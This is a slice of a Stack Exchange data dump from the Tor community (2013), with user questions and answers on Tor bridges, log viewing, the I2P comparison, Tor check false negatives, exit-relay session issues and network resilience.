  <row Id="182" PostTypeId="2" ParentId="4727" CreationDate="2013-09-29T05:18:21.800" Score="18" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to get bridges from &lt;a href=&quot;https://bridges.torproject.org/bridges&quot; rel=&quot;noreferrer&quot;&gt;BridgeDB&lt;/a&gt; or sending an email to &lt;code&gt;bridges@torproject.org&lt;/code&gt; and &lt;a href=&quot;https://www.torproject.org/docs/bridges#UsingBridges&quot; rel=&quot;noreferrer&quot;&gt;add it to your Tor Browser Bundle&lt;/a&gt;.&#xA;Make sure you add at least one bridge with port number 443 and one with a random port.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If bridges didn't help, you need &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#download&quot; rel=&quot;noreferrer&quot;&gt;Pluggable Transport Bundle&lt;/a&gt;. This way it's much harder for your firewall to detect connections to Tor network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Happy browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: if you need more bridges for PT Bundle, try sending an email (from Gmail, Yahoo or mit.edu) to &lt;code&gt;bridges@torproject.org&lt;/code&gt; with having &lt;code&gt;transport obfs3&lt;/code&gt; or &lt;code&gt;transport obfs4&lt;/code&gt; in your message body.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="88" LastEditDate="2017-05-09T11:33:50.300" LastActivityDate="2017-05-09T11:33:50.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="2" ParentId="4727" CreationDate="2013-09-29T05:19:50.550" Score="0" Body="&lt;p&gt;It may help to connect to Tor through a bridge relay. How to do that is explained at &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-09-29T05:19:50.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="2" ParentId="4727" CreationDate="2013-09-29T05:23:07.873" Score="9" Body="&lt;p&gt;Try using bridges. The easiest way to block Tor is by downloading the publicly available list of Tor relays and blocking access to all those IP addresses. Bridges are Tor relays that aren't listed in that publicly available list (the consensus). You can get bridges by visiting &lt;a href=&quot;https://bridges.torproject.org&quot;&gt;https://bridges.torproject.org&lt;/a&gt; or by sending an email to bridges@torproject.org with 'get bridges' in the body of the email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a bridge, you can enter it into Vidalia by going to Settings -&gt; Network and ticking the box that says &quot;My ISP blocks connections to the Tor network&quot;, then enter the IP address in that space.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-09-29T05:23:07.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="2" ParentId="173" CreationDate="2013-09-29T05:27:27.350" Score="2" Body="&lt;p&gt;According to the Wired article &lt;a href=&quot;http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/&quot; rel=&quot;nofollow&quot;&gt;FBI Admits It Controlled Tor Servers Behind Mass Malware Attack&lt;/a&gt;, &quot;the FBI yesterday acknowledged that it secretly took control of Freedom Hosting last July&quot;. The article notes that &quot;[i]t’s not clear how the FBI took over the servers&quot;. However, the comment that &quot;the bureau was temporarily thwarted when Marques somehow regained access and changed the passwords&quot; is suggestive. Perhaps the FBI obtained Marques' account credentials. Or perhaps it used social engineering or coercion. Additional details may come out in court.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-09-30T05:26:44.370" LastActivityDate="2013-09-30T05:26:44.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="2" ParentId="100" CreationDate="2013-09-29T05:44:20.107" Score="3" Body="&lt;p&gt;Tor only carries TCP traffic, which is typically used in applications, such as web browsers and email clients, where reliable and error-corrected transmission is essential. Although the Tor Browser Bundle includes only Firefox, it's possible to configure other applications to use Tor for TCP traffic. As covered in other answers, configuring other applications to use Tor properly is nontrivial. Tails and Whonix are good choices for beginners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applications use UDP traffic when speed is more important than reliability and accuracy. Although Tor does not carry UDP, there's a specific work-around for UDP-mediated DNS queries, which translate numeric IP addresses to hostnames (URLS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Skype and other VoIP apps typically use TCP for a control channel, and UDP for a data channel. Although Skype and Mumble, for example, can fall back to TCP for data over Tor, the error-correction process typically leads to unworkable latency. The typical latency of a Tor circuit is 1-2 seconds. If data loss causes TCP to buffer data during retransmission, the latency can increase two or more fold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution is routing TCP-based openvpn connections through Tor. The openvpn tunnel will carry UDP etc as well as TCP. In my experience, Mumble works very well via VPN through Tor, with high voice quality, virtually no breakup and 1-2 second latency. You can run both a Mumble server, and an openvpn server as a hidden service, in a Whonix instance, and then distribute VPN connection credentials to your contacts. Also, it's more secure than Skype etc because there are no third-party servers involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also route free VPN privacy services, such as SecurityKISS, through Tor in order to access other UDP-dependent services. However, free VPN services typically limit bandwidth and daily throughput. But you can use non-free VPN services safely if you pay with cash by mail, or with Bitcoins that have been thoroughly anonymized through multiple mixing services.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-09-30T02:48:27.580" LastActivityDate="2013-09-30T02:48:27.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="1" AcceptedAnswerId="188" CreationDate="2013-09-29T05:46:39.160" Score="5" ViewCount="3018" Body="&lt;p&gt;I have installed Tor using Homebrew and configured torrc for client and bridge relay usage. However I would like to be able to see stats similar to what is available in Vidalia network monitor and log viewer. I understand ARM should give me what I'm after but I am not sure how to run it. Also under /usr/local/Cellar/tor/... I can tail -f a number a files such as state and bridge-stats but this does not seem give me the rich detail that was available with Vidalia. &lt;/p&gt;&#xA;" OwnerUserId="125" LastEditorUserId="107" LastEditDate="2013-09-29T10:25:35.673" LastActivityDate="2013-09-29T19:07:27.120" Title="Best way to view Tor logs and network stats using Tor via Homebrew?" Tags="|mac|stats|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="188" PostTypeId="2" ParentId="187" CreationDate="2013-09-29T06:17:15.893" Score="5" Body="&lt;p&gt;Edit (after realizing Homebrew is a osx only pakage manager):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on OS X:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To install arm:&lt;/strong&gt;&lt;br&gt;&#xA;Simply install arm using &lt;code&gt;brew install arm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To just view the logs:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;code&gt;var/log&lt;/code&gt; dir doesn't exist by defult. You need ot make it under &lt;code&gt;/usr/local/Cellar/tor/{Tor version}/&lt;/code&gt; and perhaps turn notices or debug logs on in your torrc. And Tor will print logs on &lt;code&gt;/usr/local/Cellar/tor/{Tor version}/var/log/notices.log&lt;/code&gt; or &lt;code&gt;/usr/local/Cellar/tor/{Tor version}/var/log/debug.log&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or point torrc to elsewhere to print the logs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;on linux:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think if that's a good idea (or recommended) to install Tor using non-official package managers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To install Tor:&lt;/strong&gt;&lt;br&gt;&#xA;See installation guide for &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow&quot;&gt;Debian/Ubuntu&lt;/a&gt; or &lt;a href=&quot;https://www.torproject.org/docs/rpms.html.en&quot; rel=&quot;nofollow&quot;&gt;Fedora/CentOS&lt;/a&gt; to learn how to add official Tor package repository to your linux machine to get the latest versions first hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To install and run arm:&lt;/strong&gt;&lt;br&gt;&#xA;Once you added Tor repositories and installed latest version of Tor, you can install arm using &lt;code&gt;sudo apt-get install tor-arm&lt;/code&gt; (if on Debian/Ubuntu) or &lt;code&gt;sudo yum install tor-arm&lt;/code&gt; (if Fedora/CentOS) and then run arm with the same UID running/controlling Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, run &lt;code&gt;sudo -u debian-tor arm&lt;/code&gt; if installed from official repo on a Debian/Ubuntu machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To just see the logs:&lt;/strong&gt;&lt;br&gt;&#xA;You can control where Tor does write it's logs in your torrc. It must be &lt;code&gt;/var/log/tor/log&lt;/code&gt; if you didn't change anything.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-09-29T19:07:27.120" LastActivityDate="2013-09-29T19:07:27.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="2" ParentId="95" CreationDate="2013-09-29T06:17:58.463" Score="3" Body="&lt;p&gt;If you don't want two things to be linked, don't do them on the same machine. The simplest approach would be to use multiple instances of Whonix. Whonix is a pair of VirtualBox Debian VMs. One runs Tor, and the other is workspace with Tor-optimized Firefox etc.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-09-29T06:17:58.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="1" AcceptedAnswerId="873" CreationDate="2013-09-29T09:26:51.060" Score="32" ViewCount="5513" Body="&lt;p&gt;There are a variety of (usually rare) situations where &lt;a href=&quot;https://check.torproject.org/&quot;&gt;https://check.torproject.org/&lt;/a&gt; will give you a false negative -- that is, it says &quot;you're not using Tor&quot; when you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FAQ does not explain this issue really well, and it really scares users when this happens (see e.g. &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8928&quot;&gt;Trac ticket 8928&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain how the check.tp.o query works, for normal users, so its clear why this happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, what are all the cases that can lead to false negatives? I think the two big ones are &quot;the exit relay makes outbound connections from a different IP address than it lists in the directory, and the Tordnsel tester hasn't caught it yet or otherwise has a bug&quot; and &quot;that exit relay only came up recently so check doesn't know about it yet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users encounter one of these false negatives, should they use a separate &quot;IP check&quot; website like ipchicken.com to check/verify? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did TBB 3.0 switch to using a local homepage instead of using Tor Check? What are the benefits?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-29T21:38:17.333" LastActivityDate="2016-05-06T03:20:52.243" Title="Why does check.torproject.org sometimes tell me I'm not using Tor, when I am?" Tags="|tor-browser-bundle|torcheck|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="191" PostTypeId="2" ParentId="4727" CreationDate="2013-09-29T09:33:34.347" Score="4" Body="&lt;p&gt;There are two options at a start in new TBBs 3.0+. You can connect to the Tor Network directly or use second option &lt;em&gt;Configure&lt;/em&gt; which is described as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This computer's Internet connection is censored, filtered, or proxied.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through this option you can easily configure Tor in such situations, while you have to ask for bridge too by visiting &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org&lt;/a&gt; or mailing &quot;get bridges&quot; line to bridges@torproject.org from domains gmail.com or yahoo.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current version is 3.0a4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-bundle-30alpha4-released&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-browser-bundle-30alpha4-released&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2013-09-30T06:50:57.157" LastActivityDate="2013-09-30T06:50:57.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="192" PostTypeId="2" ParentId="27" CreationDate="2013-09-29T13:04:35.000" Score="0" Body="&lt;p&gt;Quote from &lt;a href=&quot;http://www.reddit.com/r/i2p/comments/13kd3t/an_overview_of_the_differences_between_and_the/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/i2p/comments/13kd3t/an_overview_of_the_differences_between_and_the/&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think it would be a good idea to have an overview of the&#xA;  differences between and the comparative strengths and weaknesses of&#xA;  I2P and Tor hidden services. That's what this post is for.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Strengths of I2P compared to Tor&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I think I2P is by nature of its design more secure than the Tor&#xA;  network. The strengths of I2P over Tor hidden services (that means not&#xA;  using Tor to access regular (clearnet) resources such as&#xA;  &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow&quot;&gt;https://duckduckgo.com&lt;/a&gt;) are:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Heavily decentralized. Tor has a user:relay ratio of 165:1 (excluding non-public bridge relays; see metrics) while I2P has a&#xA;    user:relay ratio of 0.99:1 (a very limited amount of users don't route&#xA;    traffic for others because they are, for example, in a hostile country&#xA;    with a limited number of I2P users). This means that you would need a&#xA;    a lot more resources to have a chance of deanonymizing users by&#xA;    observing network traffic over malicious nodes (meaning a set of&#xA;    relays that are all observed by a hostile entity) for I2P than for&#xA;    Tor.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No central point of failure for building tunnels. Tor has directory servers that form a catalog of (public) Tor relays. A user&#xA;    asks these directory servers for (a copy of the entire list of) Tor&#xA;    relays (or just part of them?) including their properties (such as&#xA;    Exit Node, Guard Node, Fast Node, etc.) If (a number of?) these&#xA;    directory servers are compromised, they could manipulate the&#xA;    information that they are supplying to the users that use those&#xA;    compromised directory servers. The Tor directory servers can also be&#xA;    attacked, making it impossible for users to form tunnels because they&#xA;    lack the required information. I2P uses DHT which allows all I2P&#xA;    relays to inform other I2P relays of relays that they known. There is&#xA;    no central (set of) point(s) that can be attacked to make building of&#xA;    tunnels impossible (except attacking all I2P relays).&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;Asymmetric tunnels. I'll use an analogy to explain this. This analogy is wrong and inaccurate in some regards because the contents&#xA;    of the traffic that is sent through Tor and through I2P is encrypted&#xA;    and cannot be read. The amount of intermediary countries used also&#xA;    doesn't match. The purpose of the analogy is to make you understand&#xA;    the difference. With Tor, you send a letter from US to Canada through&#xA;    France, Germany and Brazil (in that order). The letter reads &quot;Please&#xA;    send me the combination of our granddad's bank vault now that he has&#xA;    deceased.&quot;. The letter that is sent in reply from your friend in&#xA;    Canada (reading &quot;19502118&quot;) is sent to your address in the US through&#xA;    Brazil, Germany and France (in that order). With I2P, the first letter&#xA;    (from US to Canada) is sent through France, Germany and Brazil (in the&#xA;    order), but the second letter is sent through Paraguay, Norway and&#xA;    Ukraine (in that order). Suppose the postal services in France,&#xA;    Germany, Brazil and Paraguay are compromised. In that case, those&#xA;    postal services can figure out that 19502118 is the combination for&#xA;    your granddad's bank vault, if you were using Tor to send the both of&#xA;    those letters. If you used I2P, they would not be able to figure out&#xA;    what the combination for the vault is, although they do know that you&#xA;    have requested the combination for the vault. A version of the above&#xA;    scenario that is more true to the nature of Tor and I2P would include&#xA;    letters sent in an unbreakable envelopes (the encrypted data). If that&#xA;    was the case, the compromised postal services would be able to confirm&#xA;    that a letter was sent from a person in the US to a person in Canada&#xA;    in both the case of Tor and I2P, but only in the case of Tor would&#xA;    they be able to also confirm that a letter was sent from that person&#xA;    in Canada to that person in the US. (They would also be able to guess&#xA;    that it was probably a letter in reply to the US -&gt; Canada letter&#xA;    because of the rapid response time).&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;Short-lived tunnels. Adapting the analogy above, this means that communications between the US resident and the Canadian resident are&#xA;    only shortly passed through Brazil, Germany and France + Paraguay,&#xA;    Norway and Ukraine. Much sooner than is the case with Tor will I2P&#xA;    change the intermediary nodes that the communications are using (to,&#xA;    for example, Peru, Mexico and Australia + Greece, Nicaragua and&#xA;    Russia). This is useful because if a tunnel is compromised, you will&#xA;    only send data using that tunnel for a short amount of time, thus&#xA;    limiting the amount of data that is compromised (though the data is&#xA;    encrypted, so unless the server you are connecting to is also&#xA;    compromised, the adversary cannot inspect the unencrypted data).&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;Some protection against human errors. Tor simply relays TCP/IP packets while I2P is able to modify or trim those packets for some&#xA;    tunnels (such as the default IRC tunnel) to prevent human errors. Once&#xA;    again, an analogy is useful, though not accurate. Suppose you want to&#xA;    anonymously leak a document to a newspaper. You decide to use the&#xA;    (analog) Tor network to prevent your identity from being compromised.&#xA;    You send the letter through Bolivia, Colombia and Japan and then&#xA;    finally to the US HQ of a newspaper. Unfortunately though, you have&#xA;    forgotten to remove some identifying remarks from your letter (your&#xA;    data). Let's for the sake of clarity say that you have left&#xA;    fingerprints on your letter (a digital equivalent would be HTTP&#xA;    headers that indicate the local server time). You can then be&#xA;    deanonymized even though the delivery of the letter was securely&#xA;    anonymous.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;BitTorrent functionality. Unlike Tor, I2P has been designed with BitTorrent support in mind (can someone verify this?). Tor isn't&#xA;    supportive of the Tor network being used for clearnet BitTorrent&#xA;    activity and, unlike I2P, it doesn't have its own internal BitTorrent&#xA;    functionality.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Weaknesses of I2P compared to Tor&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Technical&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;No family flag for relays. This means that if one entity controls a bunch of relays, he can add this information to his relays so that&#xA;    the anonymization software will never choose more than 1 relay from&#xA;    the same family to build a tunnel. I'm not sure if I2P is actually&#xA;    missing this feature!&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Non-technical / social&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Lower amount of users (though more relays).&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No extensive documentation and noob-friendly start-up tutorials (though there has been some progress as of late).&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No extensive academic peer reviewing.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No noob-friendly user interface.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No noob-proof out-of-the-box solutions like the Tor Browser Bundle.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;No (charismatic) public representative like Jacob Appelbaum is for the Tor Project.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here you have also information from Wikipedia about &lt;a href=&quot;http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/I2P&quot; rel=&quot;nofollow&quot;&gt;I2P&lt;/a&gt; - you can make a comparation - there's written about weaknesses, benefits, etc.  &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="29" LastEditDate="2013-09-30T01:35:32.357" LastActivityDate="2013-09-30T01:35:32.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="2" ParentId="190" CreationDate="2013-09-29T19:21:15.670" Score="0" Body="&lt;p&gt;You most probably happen to have been using an exit node that isn't yet updated on that opening page. If you right click on Vidalia and then choose &quot;New Identity&quot;, then refresh the page, it should show green. Telling you that you're using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I too have experienced that issue from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to make it seem like you should be complacent, though. The big scary red text is there for a reason.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-29T19:21:15.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="2" ParentId="100" CreationDate="2013-09-29T19:58:07.933" Score="4" Body="&lt;p&gt;Tor can only handle TCP traffic (which not all applications use) and only some applications work directly with Tor. You can read about how to &quot;torrify&quot; applications &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorDisplayName="user5" LastEditDate="2013-09-30T01:35:47.500" LastActivityDate="2013-09-30T01:35:47.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostTypeId="2" ParentId="153" CreationDate="2013-09-29T20:09:43.653" Score="1" Body="&lt;p&gt;It depends on several factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first and most structural factor is the number of people in the country you are in who also use Tor. For example, the USA has many more users than El Salvador, meaning by default there is more anonymity in the USA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the governments in some countries are far more digitally restrictive (ex, China) than others are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the type of activity can lend some extra anonymity as well. If you are torrenting/downloading over Tor (which you shouldn't be doing anyway...), that type of traffic takes up much more bandwidth, &quot;space&quot; in Tor if you will, meaning you will be much more noticeable doing that, than you would be if you were browsing the Web innocently.&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2013-09-29T20:09:43.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostTypeId="1" AcceptedAnswerId="297" CreationDate="2013-09-29T20:53:40.353" Score="9" ViewCount="409" Body="&lt;p&gt;Assume someone wants to disrupt the Tor network or maybe bring it down. A powerful attacker could try to DDoS all the directory authorities. As there are only 10 worldwide this seems like an easy task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen if someone DDoS&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a part of the directory authorities&lt;/li&gt;&#xA;&lt;li&gt;all directory authorities&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will the DDoS have an immediate effect or can the network survive for some amount of time?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="55" LastEditDate="2013-09-30T04:01:52.130" LastActivityDate="2013-10-03T09:38:03.273" Title="Would distributed denial of service (DDoS) attacks on the directory authorities disrupt the Tor network?" Tags="|attacks|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="1" AcceptedAnswerId="199" CreationDate="2013-09-29T22:19:58.323" Score="6" ViewCount="301" Body="&lt;p&gt;When I visit some web sites, there is some strange behaviour. First I can browse through the page without any problems. Then out of nowhere I land again on the main page. After this happened I can browse again like nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a chance that this comes from Tor usage (I have only encountered this behaviour while using Tor.)? If yes, is there anything I can do about?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-30T07:28:22.570" Title="Why do some websites reset my session?" Tags="|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostTypeId="1" AcceptedAnswerId="274" CreationDate="2013-09-29T22:36:00.963" Score="2" ViewCount="135" Body="&lt;p&gt;Sometimes I'm working in a small office. Colleagues asked me to try Tor and I thought about setting up &lt;code&gt;SOCKSListenAddress&lt;/code&gt; thus allowing them to use my onion client. Can this harm my anonymity in any way and makes it maybe more sense that everyone install their own client?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-02T15:57:44.993" Title="What impact does a public onion client have on my anonymity?" Tags="|anonymity|client|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="199" PostTypeId="2" ParentId="197" CreationDate="2013-09-29T23:31:08.770" Score="5" Body="&lt;p&gt;Without knowing the web sites, it is difficult to guess what's going on but it might be a combination of the site's &lt;strong&gt;session management&lt;/strong&gt; and rotating &lt;strong&gt;exit relays&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor clients rotate their exit relays regularly which means that HTTP requests to the web site will come from different IP addresses. Depending on how the web site implements its session management, it might get confused and redirect you to the main page to start all over. If the web site requires you to log in, you might even have witnessed cases where the web site logged you out. Given today's IP address mobility, it is not uncommon to send subsequent HTTP request from different IP addresses. As a result, that kind of session management can be considered problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;TrackHostExits&lt;/code&gt; option allows you to specify domains for which Tor will reuse the same exit relay. You can read more about it in the man page: &lt;code&gt;man torrc | less -p TrackHostExits&lt;/code&gt;. Also note that by using this option, you are trading off some anonymity. But then again, if the site requires you to log in, you will be pseudonymous towards the web site at best.&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="42" LastEditDate="2013-09-30T07:28:22.570" LastActivityDate="2013-09-30T07:28:22.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="200" PostTypeId="2" ParentId="36" CreationDate="2013-09-30T01:03:21.647" Score="1" Body="&lt;p&gt;Using multiple gateway VMs (pfSense for openvpn and OpenWRT for Tor) and accounts with multiple VPN privacy services, it's possible to route one VPN tunnel through another, and route Tor through an arbitrarily-complex nested chain of VPN tunnels. Using such setups, it's easy to add cover traffic to obscure Tor traffic. For example, you might only use Tor while participating in BitTorrent swarms through multiple VPN routes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although Tor traffic exiting the terminal VPN exit node would not be obscured, associating that traffic with you would require compromising multiple VPN service providers. That risk can be reduced by selecting providers in poorly-cooperating spheres of influence, and by paying anonymously for service with cash by mail. One can also pay with with Bitcoins that have been mixed multiply through multiple mixing services, using Multibit wallets in multiple Tor VMs (such as Whonix).&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-09-30T01:03:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="1" AcceptedAnswerId="257" CreationDate="2013-09-30T01:59:42.407" Score="6" ViewCount="470" Body="&lt;p&gt;The client-selected paths that carry traffic through the Tor relay network are called circuits. Tor clients switch circuits at ten minute intervals for better anonymity. However, latency and bandwidth vary from circuit to circuit, based on the capabilities of the selected relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connectivity and bandwidth are currently (especially with the millions of Mevade guests) too unreliable for such interesting applications as Tahoe-LAFS grids for online storage that's private, anonymous and fault-tolerant. That's especially problematic when mounting grid folders using fuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The capability to team multiple circuits would improve both reliability (through failover) and bandwidth. In &lt;a href=&quot;http://freehaven.net/anonbib/#pets13-splitting&quot; rel=&quot;noreferrer&quot;&gt;AlSabah et al. (2013) The Path Less Travelled: Overcoming Tor’s Bottlenecks with Traffic Splitting&lt;/a&gt;, the authors &quot;present Conflux, a dynamic traffic-splitting approach that assigns traffic to an overlay path based on its measured latency.&quot; They note that &quot;it enhances the load-balancing properties of the network&quot; and &quot;significantly improves the experience of users who watch streaming videos online.&quot; They &quot;also show that Conflux introduces only slight tradeoffs between users’ anonymity and performance.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would it take to implement this in the current Tor network?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-09-30T21:50:10.167" LastActivityDate="2020-01-28T16:18:58.513" Title="Is it possible to team multiple circuits in the current Tor network?" Tags="|circuit|bandwidth|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="1" CreationDate="2013-09-30T02:55:34.090" Score="1" ViewCount="93" Body="&lt;p&gt;Tor periodically &lt;a href=&quot;https://tor.stackexchange.com/questions/164/what-is-tls-write-overhead&quot;&gt;logs a diagnostic message with the percentage of TLS write overhead&lt;/a&gt;.  How can one determine if the percentage reported is indicative of a problem with the associated tor relay?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-09-30T19:01:27.783" Title="How to determine if reported level of TLS overhead indicates a problem?" Tags="|tls|performance|diagnostics|troubleshooting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="1" CreationDate="2013-09-30T03:14:02.233" Score="17" ViewCount="597" Body="&lt;p&gt;In other words, if there are many Tor users in my part of the world, do I get better or worse anonymity out of Tor compared to someone using it in an area with few Tor users?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2017-05-17T15:13:28.663" LastActivityDate="2017-05-17T15:13:28.663" Title="Does my anonymity depend on the number of Tor users around me?" Tags="|anonymity|density|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
